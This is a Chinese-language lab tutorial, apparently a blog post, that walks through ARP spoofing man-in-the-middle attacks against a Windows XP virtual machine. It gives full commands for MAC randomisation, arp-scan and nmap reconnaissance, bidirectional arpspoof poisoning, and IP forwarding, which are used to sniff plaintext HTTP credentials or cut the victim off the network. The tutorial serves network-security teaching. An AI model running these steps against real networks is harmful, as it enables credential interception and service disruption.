攻击原理
原理
ARP欺骗攻击利用了 ARP协议的 缺陷 ,主要原理如下:
- 攻击者向 target(目标) 发送伪造的 ARP reply 响应包,声称自己是网关 (取决于你要监听的双方)
- 目标 接收到ARP响应后,会 更新本地 ARP缓存表
- 目标 的网络流量会被 重定向 到攻击者设备
- 攻击者可以 监听或篡改 流量,再 转发 给真正的 网关
- 攻击者还可以向 网关 发送伪造的ARP包,截获来自网关的流量
- 最终形成 中间人攻击 ,控制目标与网关之间的通信
攻击流程图
关键点
- 利用ARP 无验证 机制
- 伪造 ARP响应包
- 篡改 目标ARP缓存
- 双向流量劫持
这种攻击可以实现 流量监听、会话劫持 等多种攻击效果。
0x00 准备
安装工具
sudo apt install dsniff macchanger
隐藏自己真实MAC地址
随机MAC地址
使用 macchanger
工具,也可以使用VMware直接编辑网卡的真实MAC
sudo ifconfig eth0 down
sudo macchanger -r eth0 # 随机生成一个新的 MAC 地址
# sudo macchanger -m XX:XX:XX:XX:XX:XX eth0 # 也可以指定
sudo ifconfig eth0 up
恢复MAC地址
附上恢复用的代码:
sudo ifconfig eth0 down
sudo macchanger -p eth0
sudo ifconfig eth0 up
内网扫描
使用 arp-scan
工具快速 扫描内网存活主机
arp-scan -I eth0 -l
结果:
Interface: eth1, type: EN10MB, MAC: 1a:de:3b:f9:0a:f5, IPv4: 10.10.10.136 // 我们自己的 mac ip
Starting arp-scan 1.10.0 with 256 hosts
10.10.10.1 00:50:56:c0:00:08 VMware, Inc. // 物理机
10.10.10.2 00:50:56:e5:c5:ad VMware, Inc. // VM网关
10.10.10.132 00:0c:29:81:73:56 VMware, Inc. // WinXP(本次受害者)
10.10.10.254 00:50:56:e2:33:1f VMware, Inc. // VM DHCP
使用 nmap 系统识别
nmap -O -sS -T4 10.10.10.1/24
结果:
......
Nmap scan report for 10.10.10.132
Host is up (0.0016s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:81:73:56 (VMware)
Device type: general purpose
Running: Microsoft Windows XP
OS CPE: cpe:/o:microsoft:windows_xp::sp3
OS details: Microsoft Windows XP SP3 // 目标确认
Network Distance: 1 hop
......
实验环境
10.10.10.136 00:0c:29:c5:f7:d9 // 攻击者 kali Linux
10.10.10.132 00:0c:29:81:73:60 // 受害者
10.10.10.2 00:50:56:e5:c5:ad // 网关
0x02 欺骗攻击测试
使用 arpspoof
工具攻击
arpspoof 用法
// arpspoof [-i 接口] [-c own|host|both] [-t target] [-r] host
arpspoof -i eth1 -t 10.10.10.10.132 -r 10.10.10.2
-i // 指定使用的接口(网卡)
-t // 指定欺骗的目标
-r // 双向欺骗
执行欺骗攻击
arpspoof -i eth1 -t 10.10.10.132 -r 10.10.10.2
// 攻击开始
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5 // 欺骗网关(10.10.10.2)
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5 // 欺骗XP(10.10.10.132)
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 1a:de:3b:f9:a:f5
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 1a:de:3b:f9:a:f5
^CCleaning up and re-arping targets... // 开始清理操作,恢复攻击的主机的 ARP 表
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
1a:de:3b:f9:a:f5 0:c:29:81:73:56 0806 42: arp reply 10.10.10.2 is-at 0:50:56:e5:c5:ad
1a:de:3b:f9:a:f5 0:50:56:e5:c5:ad 0806 42: arp reply 10.10.10.132 is-at 0:c:29:81:73:56
受害者 ARP 表变化
分别是攻击前、攻击时、攻击停止后 WinXP ARP表变化
受害者抓包分析
流量监听
攻击时,kali 以中间人身份 监听被攻击双方流量,需要内核开启 [IPv4转发功能](#0x04 IPv4转发功能)
例如 XP 使用 http 等未加密的链接访问网址
http://www.httpbin.org/get?username=admin&passwd=666777888
XP访问
Kali 监听
http 流跟踪
设备断网
攻击时,kali 以中间人身份 监听 但不转发双发流量,需要内核关闭IPv4转发功能
被攻击的 双方无法正常通信 ,可造成 断网现象
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/ed4044fdb1144b72857e61d96433bdc8.
攻击停止后,设备 恢复正常
0x04 ARP表操作
清除 ARP 缓存表
// Kali 清除 ARP 缓存表
ip neighbor flush all
// XP 清除 ARP 缓存表
arp -d
查看arp缓存表
// kali Linux
arp -i eth0 -n
// Windows
arp -a
结果:
// kali Linux
Address HWtype HWaddress Flags Mask Iface
10.10.10.136 ether 00:0c:29:81:73:60 C eth1
10.10.10.2 ether 00:50:56:e5:c5:ad C eth1
10.10.10.254 ether 00:50:56:e2:33:1f C eth1
10.10.10.1 ether 00:50:56:c0:00:08 C eth1
// Windows XP (没有缓存表是因为清除了,可以ping一下其他主机就会更新)
Interface: 10.10.10.132 --- 0x20002
Internet Address Physical Address Type
10.10.10.2 00-50-56-e5-c5-ad dynamic
0x05 IPv4转发功能
当 Kali 充当中间人且 需要 转发双方流量 时,需要在 内核 开启 流量转发 IP ForWord 功能
查看 Kali IPv4转发功能 是否开启
cat /proc/sys/net/ipv4/ip_forward
1 // 1 表示转发
0 // 0 表示丢弃
开启IPv4转发
echo 1 | tee /proc/sys/net/ipv4/ip_forward
关闭IPv4转发
echo 0 | tee /proc/sys/net/ipv4/ip_forward